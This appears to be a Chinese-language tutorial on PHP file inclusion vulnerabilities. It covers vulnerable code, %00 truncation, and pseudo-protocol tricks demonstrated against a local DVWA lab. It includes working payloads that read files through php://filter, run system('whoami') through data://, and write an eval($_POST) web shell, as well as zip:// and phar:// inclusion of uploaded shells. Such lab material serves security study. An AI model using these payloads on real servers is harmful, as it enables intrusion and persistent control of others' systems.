allow_url_fopen = On && allow_url_include = Off 此时才可以触发本地文件包含漏洞
allow_url_fopen = On && allow_url_include = On 此时才可以触发远程文件包含漏洞
allow_url_fopen一直都是默认开启的,而allow_url_include从PHP5.2之后就是默认关闭的了
include() 产生一个警告而 require() 则导致一个致命错误
include()包含不到文件时还是会继续运行脚本,而require()包含文本时却又没有这个文本就会终止运行脚本。
源码1:
<?php
$file = $_GET[ 'page' ];
include($file);
?>
分析:没有经过任何过滤,page参数可控,直接包含page参数的值。
源码2:
<?php
$a=$_GET['page'];
$file =$a.'.php';
echo $file;
include($file);
?>
分析:可以看到固定了后缀名为.php,无论传入的参数是什么,都会再后面加上.php后缀名,导致无法成功的进行包含。
解决方法:使用%00截断
在PHP中使用%00:
1.PHP版本<5.3(不包括5.3);
2. PHP `magic_quotes_gpc = off`;
3.PHP不会在收到的参数中使用addslashes函数,例如上面代码中的$ _GET ['file'],不过在PHP版本5.3或更高版本中,此问题已得到解决。
远程文件包含:
条件:
1.在php.ini中需要allow_url_include = on和allow_url_fopen= on
2.所需的远程文件后缀不能与目标服务器的语言相同,如目标服务器解析PHP代码,则远程文件后缀不能为.php。(否则会加载远程主机的信息)
文件包含伪协议:
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists() 和 filesize()的文件系统函数。
常见文件包含函数:
include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file.
常见的伪协议:
php:// — 访问各个输入/输出流(I/O streams)
data:// — 数据(RFC 2397)
file:// — 访问本地文件系统
zlib:// — 压缩流
phar:// — PHP 归档
php://input(接收POST提交过来的值)
利用条件:
- allow_url_fopen=on
- allow_url_include=on
- php版本小于等于5.3.0
利用方式:
执行phpinfo();
getshell
php://filter
利用条件:
- allow_url_fopen=on
- allow_url_include没有要求
利用方式:
php://filter/read=convert.base64-encode/resource=./robots.txt
读取目标服务器文件内容,并讲这些内容进行base64编码,我们只需要解码就可以了。
data:text/plain
利用条件:
- allow_url_fopen=ON
- allow_url_include=ON
- php版本大于5.2
利用方式:
data:text/plain,<?php phpinfo();?>
data:text/plain,<?php system("whoami");?>
data:text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>
查询信息:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>
执行命令:
getshell:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>
查看目录,shell写入成功:
data:text/plain;base64,
利用方式:同data:text/plain,但是需要进行base64编码和url编码。
信息查询:
1,使用了data:text/plain;base64,但是没有进行base64加密,所以报错
2,进行第一次base64加密之后产生的加号+导致了报错
3,对加号进行url进行编码
命令执行:
phar://
phar://[压缩文件路径]/[压缩文件内的子文件名]
利用条件:
php版本大于等于5.3.0
利用方式:
利用思路:将一句话木马添加到压缩包2.zip中,然后将2.zip上传到目标服务器上。
使用:page=phar://2.zip/2.php
file:
利用条件:
对allow_url_fopen和allow_url_include不做要求
利用方式:
zip//
zip://[压缩文件路径]#[压缩文件内的子文件名]
利用思路:将一句话木马添加到压缩包1.zip中,然后将1.zip重命名成1.jpg上传到目标服务器上。
使用:zip://1.jpg%231.php 执行一句话木马